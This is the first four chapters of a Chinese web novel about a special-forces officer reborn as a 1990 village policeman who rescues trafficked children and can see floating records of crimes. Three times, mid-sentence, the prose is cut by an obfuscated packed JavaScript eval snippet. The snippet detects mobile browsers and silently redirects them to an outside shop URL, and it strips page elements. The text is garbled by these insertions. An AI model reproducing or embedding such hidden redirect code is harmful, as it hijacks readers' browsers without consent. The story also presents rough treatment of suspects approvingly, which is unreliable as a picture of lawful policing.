《我能看到罪案记录[九零]》 1. 第 1 章 “他娘的……”看着拦在自己面前的年轻公安,穿着大花裤衩的男人把心一狠,直接将摩托车的油门拧到了底。 “砰——” 一声巨响,骑在自行车上的公安被撞飞了出去,摩托车上的三个人也应声倒地。 “真是晦气!”花裤衩从地上爬了起来,他看了一眼胳膊上摔出的伤,狠狠的啐了一口,转身吩咐旁边的矮个子男人:“去把那个小兔崽子给我抱过来。” 说着话,他转手从倒地的摩托车车座底下抽出了一根锈迹斑斑的铁棍。 年轻的公安被撞晕了过去,鲜艳的橄榄绿制服上面沾染了灰尘,自行车倒在一边,轮胎兀自空转着。 花裤衩一步一步的靠近了他,单手插着兜,脸上尽是狠辣之色:“小公安,下辈子……记得不要再多管闲事……” 语罢,他举起手里的铁棍,毫不犹豫的冲着年轻公安的脑袋狠狠砸了下去。 就在这刹那间,章政霖猛地撞进了一双无比凶狠的眼睛。 身为一名特警,章政霖的身体比大脑反应更快。 他的右手像一道闪电般探出,一把攥住了花裤衩打过来的铁棍,用力的将其往后一拽,同时左臂屈肘,重击在了花裤衩的脊背上。 一套动作行云流水,花裤衩甚至来不及发出一声完整的惊叫,整个人就被按在了路面上。 他本能的想要挣扎,可按着他的那双手明明无比的纤瘦,力气却大的惊人,压的他根本动弹不了分毫。 他在道上混了这么多年,从来没有栽过这么大个跟头,气的他张口就骂:“你他娘的……” 话音尚未落下,章政霖冷着脸,随手就将他的两条胳膊给卸了。 “啊啊啊啊——!!!” 花裤衩嘴里发出了一道杀猪般的嚎叫,疼的他浑身都在抽搐。 “明哥!”身旁突然传来一声尖利的叫喊。 章政霖侧过头,瞳孔骤缩。 一个矮个子的男人怀里抱着一个五六岁大的男孩,一把闪着寒光的刀子抵在孩子细嫩的脖颈上,离皮肉只有一线之隔。 “你给我把明哥放开,”矮个子的眼里满是凶狠和疯狂:“要不然的话……” “我就弄死他!” 章政霖连眼皮都没抬:“找死!” 他右脚在身后的砖墙上猛地一蹬,整个人像一支离弦的箭一样斜向射出,快的只剩下阵阵残影。 矮个子只觉得眼前一花,一条长腿便直接横扫而来了。 他下意识的惊呼了一声,整个人朝后仰去,怀里的孩子也差点脱手而出。 说时迟,那时快,章政霖的左手用力向前探出,稳稳的扣住了孩子的腰。 小孩见自己安全了,一头扎进了章政霖的怀里,呜呜的哭了起来:“小章哥哥……吓死我了……” 哥哥? 章政霖眉梢微微挑了一下,心里泛起一丝古怪,他今年三十又八,无论如何也不值得一句哥哥吧。 他低头看了一眼怀里的小孩,正要开口说点什么,余光却忽然捕捉到了些许的异常。 这里没有高楼,也没有霓虹,只有一排老式的砖瓦房。 墙面斑斑驳驳,上面的宣传标语也有些褪色:“计划生育是我国的基本国策。” 这些画面都太陈旧了,旧得像是从泛黄的胶片电影里剪出来的一样。 章政霖眯了眯眼睛,如果他没记错的话,他是在反恐任务中,和犯罪分子同归于尽了。 他不应该活着。 他下意识的抬起了一只手,那只手上沾了些灰尘,指尖上还有着常年训练磨出的老茧。 可却比他记忆中的那双手,要年轻太多。 像是有什么东西在脑海中轰然炸开,潮水般的记忆瞬间涌了进来。 他竟然穿书了。 前世,在学校里做卧底任务的时候,章政霖从学生手里没收过好几本一模一样的小说。 因为小说里的一个配角和他同名同姓,他也大致翻看了一下。 原主幼年被拐卖,好不容易从警校毕业,却在上班的第一天,为了救一个被拐卖的小孩,被人贩子打成了重伤。 虽然最后捡回了一条命,却成为了植物人。 他不知生死的在床上躺了十年,亲生父母终于找了来。 可他们却不是来找他认亲的,而是为了他身体里那一颗健康的肾脏。 移植手术很成功,但原主却没有挺过术后感染,在做完手术的第三天,就孤苦伶仃的死去了。 他这一生唯一的作用,似乎就是用自己的一颗肾,成全了主角,也就是自己的亲哥哥。 人口拐卖,非法器官移植…… 整个故事从头到尾都在践踏着法律的底线。 因此章政霖不仅没收了那几个学生的书,还严厉的批评了他们。 可现在,他成了故事里的“章政霖”。 不远处,一户人家的烟囱还在冒着缕缕炊烟,日头遥遥地挂在天边,将老墙上的裂缝都照得柔和了许多。 一切都是那么的真实。 真实得根本就不像是一本书。 趁着章政霖思索的间隙,矮个子已经捡起了掉在地上的刀,正准备从背后偷袭。 章政霖却仿佛脑袋后面长了眼睛一样,站起身来猛地一个后踹,矮个子就直接被踹飞出去了好几米远。 那把刀在他飞出去的时候脱了手,刀身在半空中转了几圈,落下的时候不偏不倚,刀尖扎进了他自己的小臂。 鲜血顺着矮个子小臂的弧线往下淌,滴滴答答的落在了黄土里。 他努力挣扎着想要逃跑,可还不等他从地上爬起来,一双沾了些许泥巴的鞋子就已经出现在了他的面前。 章政霖就那么站着,居高临下地看着他。 太阳从西边斜射下来,将章政霖的影子拉得很长很长,如同一柄黑色的顿刀,将矮个子整个人都笼罩在了阴影里。 矮个子眼里的血丝恍若蜘蛛网一般的炸开,浑身上下的每一个细胞都在叫嚣着恐惧。 他终于意识到,眼前这个看起来很好欺负的公安,根本不是他们能够轻易招惹的。 他怕了,他真的害怕了…… 然后一道声音响了起来,不急不缓的,甚至还带着点漫不经心,可矮个子却感觉仿佛是深秋的风贴着地面刮了过来,不算刺骨,却让人从心往外的冷。 “你还真是……不知死活啊……” 现在这个年代,刑侦手段尚且不够完善,人贩子拐卖妇女儿童的情况层出不穷。 原主是个男孩,本来可以卖上一个好价钱,但因为发了一场高烧,就被人贩子随手给扔掉了。 心善的奶奶将他捡了回家,不仅花钱给他治了病,还在两个儿子的坚决反对下,将他送去念书。 原主自小看着奶奶天不亮就下地干活,佝偻着腰在田里除草,施肥,收麦子……手上全是裂开的口子,指甲缝里永远嵌着洗不掉的黑泥。 祖孙两人艰苦生活,时不时还要被奶奶的两个儿子上门来打秋风,或者是被村子里的混混们欺负。 所以原主读书一直非常的刻苦努力。 他想要获得力量,他想要出人头地,他想要带奶奶过上好日子。 原主骑的那辆自行车虽然很破旧,龙头上面都掉了漆,可却是奶奶花了好几年的积蓄才买回来的。 如今已然快要报废了。 他身上这件崭新的制服,奶奶亲手浆洗过,特意在院子里晒了整整一下午,上面还带着阳光的味道。 可现在,却沾满了泥巴与血污。 章政霖的喉咙微微动了一下,胸腔里涌上了一股说不清道不明的酸涩感。 他脚底下更用力了几分,矮个子被踩得连声哀嚎,整张脸都快要扭曲了。 鼻涕眼泪混着一块往下淌,矮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17534021|203763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个子哀求出声:“我错了,我真的知道错了,你大人有大量放过我吧……” 原主的人生,就是在这两个人贩子的手中夭折的。 章政霖没有应声,脚下纹丝不动,反手将他的两条胳膊也给卸了下来。 就在这个时候,一个二十五岁左右的公安气喘吁吁的跑了过来。 他的目光扫过跟死鱼一样的花裤衩和矮个子,震惊的张大了嘴巴:“小章啊,这两人都是你制服的?” 来人名字叫做赵明,比原主早来两多年,非常的热心肠。 今天中午两人一起去做户籍登记,从一户人家出来时恰好遇到了拐卖案,原主二话不说就骑着那辆老旧的自行车追了上去。 见到是熟人,章政霖微微点了点头:“是。” “厉害啊,”赵明咧嘴露出满口的大白牙:“你这身手,真是没话说。” 被拐的小孩听到这番话,仰起了脑袋,他脸上的泪痕还未干,眼里却闪着细碎的光:“小章哥哥就是厉害,我以后也能像你这么厉害吗?” 章政霖脸上的表情柔和了几分,肯定的回答道:“能。” 赵明在旁边看的直乐,转身扶起了倒地的自行车,满脸可惜的说:“被撞坏了。” 章政霖略微沉吟了一下,伸手扶住车,把把车轮夹在两腿之间,一用力,就将龙头给扳正了:“还能用。” “牛!”赵明竖了竖大拇指,转过头看向两个人贩子的时候,眼神又沉了下去:“拐小孩,还开车撞人,你们俩就等着把牢底坐穿吧!” 花裤衩的眼睛滴溜溜的转了几圈,声音沙哑又急切:“别别别……我交代,我能立功的……” “我有上线,还有好几个小孩等着往外送呢,我可以带你们去抓他们。” 片刻之后,章政霖骑上了摩托车,将小男孩放在了车子的前面:“抓紧。” 小男孩用力的点了点头,两只手紧紧的抱着前面的车把,小小的身子挺的笔直。 用来绑男孩的绳子一头栓在了摩托车上,另一头则是拴住了两个人贩子。 摩托车引擎发动,花裤衩和矮个子猝不及防地被拖了一个趔趄,踉踉跄跄地跑了起来。 赵明则是骑着章政霖的自行车,缓缓跟了上来。 花裤衩和矮个子就这么一路被生拉硬拽着,来到了城关镇派出所的门口。 老旧的木门里,一面颜色鲜艳的国旗在杆顶上被风吹得猎猎作响。 刚一进去,赵明就扯着嗓子喊了起来:“同志们,赶紧出来!来活了……” 派出所的所长胡国庆得知事情的原委特别的高兴,迅速的安排起人手准备抓捕。 只不过矮个子的胳膊上的伤有些严重,得有人把他送到医院去处理一下。 章政霖刚穿越过来,思绪还没有整理清楚,主动揽下了这个活:“我来吧。” 胡国庆今年五十多岁了,身上的警服穿的板板正正的,整个人看上去一丝不苟。 可此时,他却拍着章政霖的肩膀,笑得满脸慈祥:“好样的,等抓着人以后,我到上面给你请功。” 小镇不大,也没有什么正儿八经的医院,只有一间卫生所。 门诊室在进门左手边的第一间,新装修的房间,墙壁刷得雪白,水泥地也被拖的干干净净,空气里弥漫着一股淡淡的消毒水味。 值班的医生鼻梁上面架着一副金框眼镜,整个人看上去儒雅又斯文。 他面带笑容,满脸柔和:“哪里不舒服啊?” 可章政霖却在看到他的一瞬间,眸光一凛。 在医生温和的笑脸上方,凭空浮现了一大片猩红的字体。 一笔一画,字字泣血。 【刘振华】 【男】 【47岁】 【1986年11月16日,于城关镇杀害谢名瑛,杜美玲,杜思瑜】 【入狱记录:无】 2. 第 2 章 章政霖的心头狠狠一颤,眼前的每一个字,都仿佛带着惊人的温度,烫的他瞳孔发紧。 他没有表现出任何的异样,很快就收回了视线。 但脑子却仿佛在疯了似的旋转。 章政霖不知道眼前的这些字体究竟是从哪里来的,也不知道是穿越的后遗症,还是某种其他说不清道不明的存在。 但每一条人命,都值得一个交代。 他必须要弄清楚这些血字的真相。 医生此时已经检查完了矮个子的伤势,正用棉签蘸着碘酒在伤口处消毒:“伤的有点深,等会儿可能需要缝针……” “疼疼疼……”矮个子呲着牙,脸上的五官都皱到了一起。 医生笑了笑,手上的动作更轻了一些,如同在哄小孩儿似的说道:“你忍一忍,很快就好了。” 他说话轻声细语的,浑身上下都带着一股让人心安的亲切感,任谁都会觉得他是个好人,是个可以值得信赖的大夫。 可万一呢? 万一这个看似无比温和的人,手上真的沾染着三条人命呢? 章政霖确信,在这具身体的记忆里,从来都没有出现过这个医生。 可他此刻却无比清楚这个人的名字。 他需要试探一下,以此证实。 趁着医生给矮个子打麻药缝针的空挡,章政霖走出了诊室,和门口的护士闲聊了起来:“这位大夫好像叫做刘振华,似乎医术相当不错?” “那当然了,”小护士语气轻快,带着一种与有荣焉的自豪:“刘大夫是我们卫生所的所长,可是二十多年前正儿八经的大学生呢。” 小护士肯定的回答沉甸甸的砸进了章政霖的耳朵里,和他视网膜上那行猩红的字迹严丝合缝的重叠在了一起。 二十多年前的大学生,含金量非同一般。 这个刘振华,绝不是个普通的嫌犯。 章政霖指尖微动,面上却依旧从容:“但是我听说,刘大夫的家里好像在四年前出过事。” 护士叹了一口气,脸上的笑容也淡了几分:“唉……说来也是可怜,刘所长的老婆孩子,连带着他丈母娘,都在四年前失踪了,他那时候还在滨江市的大医院上班呢,出了事以后整个人都变了,后来就主动申请调回了老家。” 她顿了顿,又补充了一句:“他现在一个人照顾他老丈人,老人家身体不好,中风瘫在床上好几年了,刘所长又要顾着卫生所,又要伺候老人,经常忙得脚不沾地的。” 果然,刘振华是个智商极高的犯罪分子。 他不仅将自己的嫌疑排除得干干净净,还使得周围所有的人都对其产生了同情。 诊室里,刘振华落下最后一针,用镊子夹住线头,手指灵巧地打了个结:“好了,伤口不要沾水,三天后记得来换药。” 章政霖带着矮个子准备离开的时候,突然转身对刘振华说道:“刘大夫,我听说你至今还是单身,我恰好知道有一个合适的……” “不必了。”刘振华毫不犹豫的打断了章政霖的话。 他抬起头,脸上浮现出了一种恰到好处的怀念和遗憾:“我和我的爱人感情很好。” 他轻轻叹了一口气,声音放低了许多:“我相信她总有一天会回来的……” 无论是嘴角向下的弧度,眼眶的湿润度,还是叹息的长度,刘振华的这一番表现都可以堪称是教科书级别的演绎。 他温柔,克制,深情,没有任何一个人会觉得是他杀害了自己的妻女和丈母娘。 但章政霖却看得分明,刘振华在说这番话的时候,抓着镊子的右手,控制不住的收紧了一下。 前后两辈子,章政霖见过了太多太多的犯罪分子。 肌肉的微颤,瞳孔的变化,手指无意识的收缩…… 这些来自于身体的本能反应,无论犯罪分子如何的伪装,都是做不了假的。 神经反射是一个人下意识的行为,它不经过大脑的思考,也不经过语言的修饰。 因此,这一刻,章政霖无比的确信。 刘振华,在说谎。 章政霖微微垂下了眼帘,长睫在眼睑处投下一片淡淡阴影,遮住了眼底翻涌的暗流。 在这四年时间里,刘振华之所以能够始终安然无恙,就是因为公安从未找到尸体,一直在以失踪案进行着排查。 而现在,既然已经证实他所看到的信息是真实的。 那么,他就一定不会让刘振华继续逍遥法外。 只是现在还没有证据,不宜打草惊蛇。 “原来如此,”章政霖颇有些感慨的说道:“希望刘大夫能够早日找回爱人。” 刘振华微微一笑,点了点头:“呈你吉言。” 章政霖回到派出所的时候,出去抓捕人贩子的大部队还没有回来。 审讯必须要有两名公安在场才行,章政霖就先将矮个子带去了关押室。 他原本想要去档案室里看一看有关于失踪案的线索,却发现档案室的门锁着。 章政霖没有钥匙,便回到了自己的工位上,打开了户籍登记册,准备继续原主未完成的工作。 登记册上字迹工整,写满了密密麻麻的名字和编号,可见原主的态度之认真。 今天是1990年7月2日,全国第四次人口普查从昨天凌晨正式开始,所有常住人口的身份信息都需要逐户逐人的登记在册。 姓名,性别,年龄,民族,文化程度,职业…… 一个都不能少,一个都不能错。 城关镇土地面积不大,常住人口也不多,加上周围的乡村,拢共就只有三千多户人。 镇子虽小,但人口普查是件大事,马虎不得。 下午的太阳从头顶斜斜地照下来,将大半个镇子都染成了一片暖黄色。 章政霖骑着自行车穿行在城关镇的街巷之间,车轮碾过坑坑洼洼的水泥路,发出有节奏的声响。 他按照登记册上的地址,挨家挨户地敲门,问询,记录,一切都很顺利。 甚至还有群众倒了茶水递过来,拉着他的胳膊说话:“公安同志辛苦了。” 可当夕阳西斜,落日的余晖洒落下来,章政霖准备再登记最后一户人家的时候,他的手刚碰到门板上准备敲门,就听到了一阵哭声。 那哭声无比的压抑,仿佛是怕被人听见似的,却又控制不住的从喉咙里挤出来,有些断断续续的。 与此同时,还伴随着男人的怒吼:“哭什么哭?!你还有脸哭?!” 章政霖眉头拧起,用力的敲响了房门:“公安办案,开门。” 哭声和怒吼同时顿了一下,片刻之后,门从里面打开了。 开门的是一个三十多岁的女人,身上的衣服虽然单薄,但却并没有什么明显的外伤。 看起来不像是在被家暴的样子,章政霖稍稍松了一口气。 可紧接着,他就看见女人的手里拿着一根细细长长的竹条,竹条的一端还带着些许的血迹。 他眸光微凛:“你们在干什么?” 此时,屋子里的男人从女人身后走了出来,因为天气热,他没穿上衣,露出了干瘦干瘦的上半身。 似乎是觉得章政霖在多管闲事,男人说话的语气又冲又横:“教训孩子呢,没看见吗?” 章政霖的目光越过他的肩膀,落在了屋子的一角。 那里,一个瘦骨嶙峋的小女孩正躲在一把木头椅子后面,她看起来七八岁的年纪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17534022|203763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,头发枯黄,脸上没有一点的血色。 女孩小小的身不停的发着抖,睫毛上挂着未干的泪珠,却一声都不敢吭。 最扎眼的,是她的两只手,掌心肿的跟猪蹄一样,皮开肉绽的。 很明显刚刚被女人手里的竹条打过。 章政霖的声音沉了下来:“你们对孩子动手?” 男人满脸的不耐烦:“做个饭还能把碗摔了,难道不该打吗?” “虐待小孩属于违法行为……” 章政霖的话还没说完呢,男人就跟个炮仗一样一点就炸了,他直接指着章政霖的鼻子开始破口大骂:“你怎么这么多屁事?她是我生的,我想怎么打就怎么打……” 章政霖反手攥住了他指着鼻子的那根食指,干脆利落地向外一拧。 “呃……” 转瞬之间,男人未尽的话语噎在了喉咙里,化为了一道痛苦的哀嚎:“疼疼疼……” 他脸上嚣张的表情也消失不见,五官扭曲在了一起,冷汗顺着额头不停的往下淌。 章政霖波澜不惊的看着他,声音里带着股不容置喙的压迫感:“现在,能好好说话了吗?” 男人的脑袋点的仿佛小鸡啄米似的,声音又尖又细,还带着哭腔:“能能能,我好好说……我好好说还不行吗?” 章政霖松开手,站直了身体,居高临下地看了男人一眼,目光中的冷意让男人不由自主地把脖子缩了回去。 他朝小女孩招了招手,声音放的很柔很柔:“来,让哥哥看看你的手。” 小女孩怯生生的盯着章政霖看了许久,却始终不敢挪动脚步。 女人狠狠的瞪了她一眼:“叫你呢,你耳朵聋了?!” “你再大点声。”章政霖一个眼神看过去,女人立马低下了头。 原主被摩托车撞飞出去的时候,身上有多处擦伤,章政霖带矮个子去卫生所之际,顺便也给自己拿了点药。 他把药膏缓缓地抹在了小女孩的掌心。 “嘶——”小女孩疼得倒吸了一口气,却并没有把手缩回去,只是下意识的咬了咬嘴唇。 确认只是皮肉伤,没有伤到骨头,章政霖转头威胁男人:“以后我会经常上门,隔三差五来看一眼,虐待孩子是犯法的,如果再让我发现你打孩子,我一定送你进去蹲大狱。” 他顿了一下,目光扫过男人心虚的脸:“如果不信的话,你大可以试试。” 男人就是个窝里横,面对女儿重拳出击,如今在章政霖的武力威胁之下,却乖巧的跟个鹌鹑似的:“是是是,我再也不敢了……” 章政霖没有再多看他一眼,他从挎包里抽出户籍登记册,翻开到新的一页,钢笔在手里转了半圈,笔尖对准了纸面:“姓名。” 男人完全没料到章政霖的话题转的这么快,一下子有些愣住了,直到女人用胳膊肘撞了撞他,他才开口:“宋卫东。” 章政霖在纸上落笔,字迹端正利落。 他抬了抬下巴,又看向女人:“你呢?” 女人很快的回答:“我叫李桂香。” 章政霖笔下不停,写完了李桂香的基本信息,又开始问小女孩。 李桂香张了张嘴,犹豫了一下,声音小得几乎听不见:“宋……宋烂女。” 章政霖的笔尖微顿。 他抬起头,拧了拧眉,明明李桂香所说的每一个字他都认识,连在一起却有些不懂了:“你说她叫什么?!” 李桂香被他的目光看得有些发怵,下意识的缩了缩脖子。 “叫宋烂女,”她重复了一遍小女孩的名字,整个人显得无比的委屈:“女儿就是个破烂货。” “要不是因为计划生育,我一定能生个儿子的……” 3. 第 3 章 一个人的名字是要伴随着她的一生的。 章政霖现在几乎都可以想象的到,当这个女孩长大成人以后,带着这样的一个名字,出门会受到怎样的歧视和欺负。 “烂女”这两个字,会如同烙铁一般焊在她的身上,连皮带肉的跟着她一辈子。 章政霖抬头,看着面前的这对夫妻,轻声问了一句:“你们识字吗?” 宋卫东讪讪地笑了一下:“我们俩都……都没念过书,不认字。” 章政霖点了点头,然后在登记册上一笔一划,端端正正的写下了三个字:宋岚语。 李桂香伸着脖子凑过来看,她盯了半天,皱起眉头,伸手指了指最后一个字,一脸困惑地说道:“虽然我不怎么认字,但这好像也不是“女”吧?” 章政霖抬眸,凉凉地看了她一眼:“在我这就是这么写的,你有意见?” 那一眼明明不重,却仿佛是一桶带着冰碴的冷水浇在了人的天灵盖上似的,李桂香顿时觉得背后一阵阵的发凉。 她下意识的闭上了嘴巴。 这个年代没有电脑上户口这回事,所有的登记都是纯手工操作,章政霖就顺便又问了一句:“孩子上户口了没?” 宋卫东下意识的撇了撇嘴:“一个臭丫头片子,上什么户口?” 现在的很多人都没有上户口的意识,所以像宋家这样的情况,在城关镇并不是个例。 尤其是女孩子。 在许多人家看来,一个赔钱货,根本不值得在户口本上占一个位置。 “正好。”章政霖从挎包里面拿出了一本崭新的户籍簿,把女孩的名字以及跟户主的关系等信息全部都填了上去。 最后,又盖了一枚颜色鲜亮的红戳。 如此一来,这女孩的名字就没有办法轻易的更改了。 章政霖将崭新的户口簿递过去:“户口本收好,别弄丢了。” 从宋家离开的时候,章政霖回头又看了一眼那扇半掩着的门板。 门缝里面透出了一丝暖色的光线,正好落在了小女孩的脚边。 她依旧坐在那张老旧的木头椅子上,两只肿胀的手安静的放在膝盖上,低着头,没有说话,也没有哭。 章政霖不清楚她听懂了没有,也不清楚她知不知道,从今天起,她有了一个全新的名字。 但既然他来到了这个年代,穿上了这身制服,就总得做点什么。 自行车拐出巷口,朝着派出所的方向驶去。 车轮碾过坑坑洼洼的水泥路,掀起了一阵微风,吹的路边裂缝里那几簇新长出绿色的野草开始轻轻摇晃。 章政霖还没有踏进派出所的大门,就听到院子里传出了一阵爽朗的笑声。 一看到他出现,所长胡国庆便大步流星地迎了上来,他脸上的皱纹在笑容里舒展了些许,整个人显得无比的精神抖擞:“小章啊小章,你可真是咱们所里的福星。” 章政霖被他摇得微微晃了一下,嘴角浮起了一丝浅笑:“这是抓着了?” “那当然了,”赵明在一旁急急忙忙的说道,那话像倒豆子一样,噼里啪啦不断的往外蹦:“你是不知道,那个据点除了他们的两个同伙,还有四个小孩呢……” 他举着四根手指头,呲着大牙:“全被我们给救回来了。” “那两个同伙也供出了不少东西,什么买家,什么运输路线的,乱七八糟的一大堆,”赵明拉着章政霖的胳膊,兴致勃勃的跟他讲着下午发生的事情:“按照他们的供述,咱们这一片的拐卖链条恐怕都要被连根拔起了。” “是啊,”胡国庆看着章政霖的目光既是欣慰又是骄傲:“如果不是你拦下了那辆摩托车,还不知道有多少个孩子要遇害呢。” “这也不是我一个人的功劳,”章政霖轻轻笑了一声,态度很是谦卑:“赵大哥也帮了很大的忙。” 胡国庆对章政霖愈发的满意了,不禁感慨了起来:“年轻有为,年轻有为啊。” 城关镇派出所毕竟只是个小所,拐卖儿童这种案子重大刑事案件,他们暂时还办不了。 所以胡国庆把案子报到了市局的刑侦大队。 “明天市局那边会来人接手这个案子,到时候就都归他们管了,”胡国庆说到这里的时候,微微顿了顿:“但是小章你放心啊,你的功劳我可是放在头一个了,半点都不会少你的。” 紧接着,胡国庆凑近了章政霖,说话的的声音小了一些:“到时候可能还会有物质方面的奖赏,少说也会有个三五百块。” 这几百块钱对于现代来说,可能也不过吃一顿大餐的,可对于一个农村老人而言,已经足够一年多的嚼用了,甚至还能有剩余。 章政霖没有矫情,也没有故作清高,而是认认真真的点了点头,坦然道谢:“家里确实有这个需要,谢谢胡所。” 胡国庆眯着眼睛笑了笑,目光扫过一圈的人:“明天市局的人要来,都给我打起精神,别给咱们城关镇派出所丢脸。” 章政霖站直了身体:“明白。” 将户籍登记所用到的资料都收起来,章政霖便准备下班回家了。 从城关镇到他们村子里,地图上量着没有多远,走起来却是有些难,七八里地,全是弯弯绕绕的山路。 章政霖按照原主的记忆,在乡间的小路上不断的穿行,等到他进村子的时候,天色已经有些暗下来了。 村口的石墩上,一个小孩正百无聊赖的坐在那里。 听到自行车的声音,他蹦蹦跳跳的跑了过来:“霖哥,村长让我在这等你,叫你早点回家去呢。” 章政霖停下车子,单脚撑地:“发生什么事了?” 小孩的脸上挂着兴奋的表情,连说话的声音都高了好几度:“不是出事,是好事呢,你们家来了一辆小汽车,黑亮黑亮的可气派了,还带了好多礼物。” 章政霖拍了拍自行车前面的横杠,朝小孩扬了扬下巴:“上来。” 小孩双眼一亮,二话不说就蹿了上来,他两只手紧紧的攥着车把中间的铁杆,兴奋的不停的扭动着身子。 “坐自行车喽,坐自行车喽~” 车轮碾过松软的泥土,驶向了村委的那间土坯房。 原主被奶奶捡回来的时候,只有几个月大,瘦的像只剥了皮的猫,连哭声都是有气无力的。 那个年月,家家户户都吃不饱饭,哪里养得起一个来路不明的孩子。 更何况,那时候的章老大和章老二都还没有娶上媳妇,得知奶奶要养原主的时候,直接撂下了狠话:“你要是执意要养,咱们就分家!” 奶奶舍不得两个儿子,可却也实在看不得原主就这样饿死,她咬着牙,沉默了三天,最后还是找了村长,分了家。 她觉得自己亏欠了两个儿子,所以在分家的时候,把家里的东西全都留给了他们,自己只收拾了一个小包裹,带着半袋红薯,抱着原主搬了出去。 还是村长看不下去,把村尾那间没人住的土坯房给了她。 那间屋子四面漏风,夏天的时候外面下大雨,里面下小雨,冬天的时候又冷得跟冰窖似的。 奶奶就从山上捡来树枝,干草,今天补一块,明天塞一条的,直到原主长成了大小伙子,才终于把那间屋子补的像个能住人的样子了。 尚且隔着一段距离,章政霖就看见自家那个破旧的土胚房前的空地上围满了人,人群中还停着一辆黑色的小轿车。 “霖娃子回来了——”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17534023|203763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>不知道是谁喊了一声,人群自动的让开了一条路。 章政霖刚把车子停下,一个瘦瘦小小的老太太就穿过人群,颤颤巍巍的挤了出来。 她穿着一件洗得发白的蓝布褂子,饱经风霜的脸上满是皱纹,每一道纹路都仿佛是用刀刻下的似的。 看到章政霖的刹那间,章奶奶突然红了眼眶,一看就是受了委屈的样子:“霖娃子……” 章政霖立马搀住了她的胳膊:“奶奶,我回来了。” 与此同时,章政霖的视线落在了奶奶的那双小的过分的脚上。 这是一双三寸金莲。 旧社会的裹脚陋习所遗留下来的痕迹,却让一个老太太吃了一辈子的苦。 她就是靠着这么一双走路都打颤的脚,在丈夫死了以后,一个人种地,施肥,除草……背着几十斤重的粮食,从地里一步一步的挪回家…… 千辛万苦的把两个儿子一个女儿拉扯长大,又开始养捡来的原主。 章政霖感觉自己的喉咙像是被什么东西给堵住了似的,酸涩的厉害。 “没事了,”他轻轻拍着奶奶的手背,温声道:“有我在呢。” “小章哥哥——”章政霖的话音刚落下,原主救下的小孩跟个炮仗一样从屋子里面冲了出来,一把抱住了他的大腿:“我和爸爸妈妈来看你啦!” “小章同志,你好你好,”小宇的身后跟着一对夫妻,男人和章政霖握了握手,情绪有点激动:“我叫梁自民,这是我爱人,小宇是我们的儿子,我们家三代单传……” “今天发生的事情我们都已经知道了,”小宇的妈妈哽咽了一下:“要不是你的话,我都不敢想我们家小宇会怎么样,今天过来只是聊表心意,还希望你千万不要嫌弃。” “我知道你们有纪律,这些东西不能收,”奶奶带着些许急迫的对章政霖解释道:“可是……” “可是什么可是?!”一个蛮不讲理的声音打断了她的话。 章政霖这才看到,屋子里头,奶奶的两个儿子跟个大爷似的坐在凳子上。 说话的正是章老大,他眯着眼睛翘着二郎腿:“霖娃子现在长大了,有本事了,我这个当大伯的,吃他点东西怎么了?” 章老大的儿子章强此时已经拆开了一包铁皮盒的饼干,不断的往嘴里塞着,饼干的碎屑掉的到处都是。 奶奶低着头,嘴唇抿得紧紧的,仿佛是一个做错了事的孩子:“他们还想着让人家给赔点钱……” 章政霖一瞬间什么都明白了。 在过去的二十多年里,这两人对奶奶始终不闻不问,只要村子里面有人说他们不孝,他们就翻出当年分家的旧账:“是她自己要养那个野种的,要孝顺也该那个野种去孝顺……” 如今倒是不请自来了,还想着从小宇父母那里抠钱。 章政霖抬脚进了屋子,居高临下的看着他们:“谁让你们来的?” “还有你,”章政霖看着章强油腻的嘴角:“你最好把你吃进去的都给我吐出来。” “啪!”章老大猛地一拍桌子:“你一个做晚辈的,就这么跟我说话?!” 他说得理直气壮,唾沫星子横飞,可他的个子矮了章政霖半个头,仰着脖子瞪人,气势上就先输了三分。 “行,大伯。”章政霖微微眯了眯眼睛,反手扣住了章强的胳膊,紧接着又在他的胃部用巧劲往上顶了一下。 章强的身体猛地一弓,胃里一阵翻江倒海,一股酸液瞬间就从喉咙口涌上来。 与此同时,章政霖的身体已经飞速撤开了。 “yue……” 章强下意识的弯腰弓背,一口秽物从嘴里喷涌而出,连汤带水,稀里哗啦的浇了章老大满头满脸。 4. 第 4 章 章老大瞳孔震颤,嘴里发出了一阵绝望的嘶鸣。 可就在他张嘴的瞬间,章强吐在他脑袋上的秽物正好顺着额头流进了他的嘴里。 章老大呼吸猛地一滞,也开始捂着肚子吐了起来。 “呕——” 父子两人相互对着呕,那声音一个比一个响,此起彼伏的。 围在周围的人群“哄”的一声四散开去,一个个都捂着鼻子嘴巴满脸嫌弃的看着他们。 “啪——” 刚才还觉得儿子是个心头宝的章老大,看着满地的秽物和周围的指指点点,直接劈头盖脸一个巴掌打在了章强的脑门上。 